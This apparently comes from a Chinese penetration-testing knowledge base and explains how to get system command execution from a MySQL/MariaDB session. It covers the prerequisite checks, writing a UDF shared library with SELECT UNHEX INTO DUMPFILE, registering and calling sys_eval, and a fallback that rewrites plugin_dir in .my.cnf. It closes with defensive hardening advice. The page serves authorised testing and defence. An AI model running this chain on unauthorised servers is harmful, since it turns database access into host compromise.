跳到主要内容

MySQL/MariaDB UDF 命令执行

UDF(User Defined Function) 命令执行的思路是:向 MySQL 插件目录写入一个含 sys_eval 函数的共享库,再用 CREATE FUNCTION 注册,之后就能通过 SQL 直接执行系统命令。它是数据库会话到系统 shell 的经典路径。

仅限授权环境

写入共享库并执行系统命令仅可在授权测试或靶场环境进行。


判断前提

SHOW VARIABLES LIKE 'secure_file_priv';
SHOW VARIABLES LIKE 'plugin_dir';
检查项要求
secure_file_priv为空,否则 INTO DUMPFILE 受限
plugin_dir知道路径,且数据库进程对其有写权限
当前用户权限FILE 权限与 CREATE FUNCTION 权限,root 常见

容器内 MariaDB 场景中,root@'%' 空密码 + FILE 权限是常见组合。


方法 A:标准 UDF 链

第一步,用 UNHEX 写入含 sys_eval 的共享库:

SELECT UNHEX('<hex>') INTO DUMPFILE '<plugin_dir>/udf.so';

优先用 UNHEX 而非 FROM_BASE64:十六进制没有转义问题,更可靠;so 体积保持小。

第二步,注册函数并调用:

CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
SELECT sys_eval('id');

方法 B:plugin_dir 不可写时的变体

若插件目录不可写,但能满足以下条件,可以走配置文件路线:

  • 能写入配置文件(如用户家目录的 .my.cnf
  • 服务会被重启

[mysqld] 段的 plugin_dir=/可写目录 写入配置,触发重启后再回到标准 UDF 链。

OUTFILE 写文本配置时,加 FIELDS ESCAPED BY '' 防止反斜杠转义污染内容;写完用 SELECT HEX(LOAD_FILE(...)) 核验换行与内容未被污染。


复核要点

  • SELECT sys_eval('id'); 的返回确认执行身份与主机。
  • 配置文件路线写完后必须核验字节级内容,防止转义污染导致服务启动失败。
  • 注册失败时核对 so 文件是否完整落入了插件目录。

防御建议

  1. secure_file_priv 固定指向专用空目录,不给业务库写文件能力。
  2. 插件目录归属 root,数据库进程不可写。
  3. 禁止业务账号持有 FILE 权限与 CREATE FUNCTION 权限。
  4. 数据库服务重启流程纳入配置变更监控。